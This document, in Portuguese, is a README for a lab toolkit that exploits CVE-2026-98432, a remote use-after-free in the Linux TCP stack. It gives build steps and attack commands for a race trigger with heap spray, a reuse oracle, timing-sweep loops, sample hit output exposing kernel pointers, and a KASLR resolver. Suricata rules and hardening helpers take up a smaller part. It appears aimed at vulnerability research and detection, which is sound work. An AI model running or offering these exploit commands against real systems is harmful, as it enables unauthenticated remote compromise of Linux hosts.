
Kit de ferramentas de laboratório para a use-after-free em ireq_opt do TCP do Linux (CVE-2026-98432): acionamento de corrida com oráculo de reutilização de heap, analisador de vazamento, resolvedor de KASLR, análise de pcap, regras de IDS e hardening.
Um kit de laboratório pequeno e testado para CVE-2026-98432, um use-after-free remoto na pilha IPv4/TCP do Linux (CVSS 9.8). Contém um acionador de corrida com um oráculo de reutilização de heap, um analisador de vazamento, um resolvedor de KASLR, análise de pcap, regras de IDS e auxiliares de endurecimento.
[!WARNING] Esta é uma ferramenta de ataque. Execute-a apenas contra máquinas que você possui, dentro de um laboratório isolado. A vulnerabilidade é remota e não requer credenciais no alvo. A ferramenta recusa endereços públicos a menos que você passe explicitamente
--allow-public.
ireq_opt, com um modelo de temporização preciso e configurável;System.map;| Alvo | Linux com um listener TCP IPv4, kernel anterior à correção |
| Atacante | Linux, CAP_NET_RAW, um compilador C, Python 3.8+ |
| Recomendado | duas VMs ou uma VM mais um host, mesma rede L2 |
--mode raw adicionalmente precisa de CAP_NET_ADMIN para instalar duas regras iptables
(a ferramenta as imprime).
make # builds bin/cve_2026_98432
make check # full offline test suite, no packets sent
./bin/cve_2026_98432 --check
No laboratório:
# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000
# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap
O código de saída é 0 quando o oráculo detectou um bloco de opções reutilizado (prova do use-after-free), 3 quando não detectou, e 1/2 em caso de erros.
Uma execução em laboratório já confirmou o oráculo UAF: o SYN-ACK carregava o marcador de outra requisição, provando que o kernel leu um objeto de opções reutilizado. Consulte docs/verified-hit.md. A etapa 2 (transformar a reutilização em um vazamento de ponteiro do kernel) está implementada e instrumentada, mas ainda não foi reproduzida; consulte docs/stage2-leak.md. Não existe nenhuma cadeia de RCE armada pública até 2026-11-02: a cadeia da Anthropic é descrita apenas em prosa, e o trabalho independente mais detalhado para em uma desreferência controlada em um kernel instrumentado.
lab/build-lab.sh baixa o Linux 6.12.112, reverte a correção de duas linhas, compila um kernel e o inicializa no QEMU junto com a ferramenta e um listener. Consulte lab/README.md para requisitos e os comandos dentro da VM.
make # optimised build
make test # C unit tests + built-in self-test
make san # UBSan locally, ASan+UBSan on Linux
make check # everything: clean build, unit tests, sanitizers, Python, shell
make check nunca abre um socket. Ele cobre a construção e análise de pacotes,
checksums, ambos os tipos de marcador, o classificador de ponteiros, o escritor pcap, uma
passagem de fuzzing do parser, os analisadores, os auxiliares de shell, a CLI e a proteção
de segurança. Consulte docs/analysis.md para a
matriz completa.
| modo | o que faz | rede |
|---|---|---|
--check | compara o kernel em execução com a tabela de correções, imprime o estado do MPTCP e de tcp_migrate_req | nenhuma |
--selftest | teste de fumaça integrado | nenhuma |
--emit-demo FILE | grava uma captura UAF sintética (para testar o analisador) | nenhuma |
--dump-config | imprime a configuração normalizada | nenhuma |
--probe IP:PORT | um SYN com MP_CAPABLE, detecta um listener MPTCP | um pacote |
--race IP:PORT | a corrida propriamente dita | muitos pacotes |
Opções comuns de corrida:
--workers N concurrent attempts (default 8)
--duration S stop after S seconds
--spray N heap-spray threads
--dup-burst N duplicate SYNs per attempt (lab tuning)
--mode raw|socket who owns the handshake (default socket)
--rtt-lead US send the duplicate SYN this early (may be negative)
--rst-delta US RST offset after the predicted ACK
--jitter US randomize both offsets
--pcap FILE write anomalous frames
Execute ./bin/cve_2026_98432 --help para obter a lista completa.
[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
| campo | significado |
|---|---|
attempts | handshakes iniciados |
synacks | SYN-ACKs observados |
hits | SYN-ACK carregava o marcador de outra tentativa: use-after-free confirmado |
anomalies | o blob de opções não foi analisado como nosso (possíveis bytes vazados) |
malformed | IPv4 ihl < 5, a assinatura de underflow |
marker echoed | SYN-ACKs que carregavam nosso marcador TS |
rtt | estimativa atual de round-trip usada para temporização |
Um hit se parece com isto:
[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
ipopts[40] = 44280500...bbbb0002...
kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000
A corrida é uma loteria de preempção, mas o timing ainda importa. Comece com os padrões em loopback ou em uma LAN, depois faça uma varredura:
for lead in 0 10 30 60 120; do
for delta in -20 0 20 60; do
./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
--duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
done
done
python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d
As regras do Suricata estão em tools/suricata.rules. As duas assinaturas de alto valor são um TCP SYN de entrada com opções IP e um cabeçalho IPv4 com ihl < 5.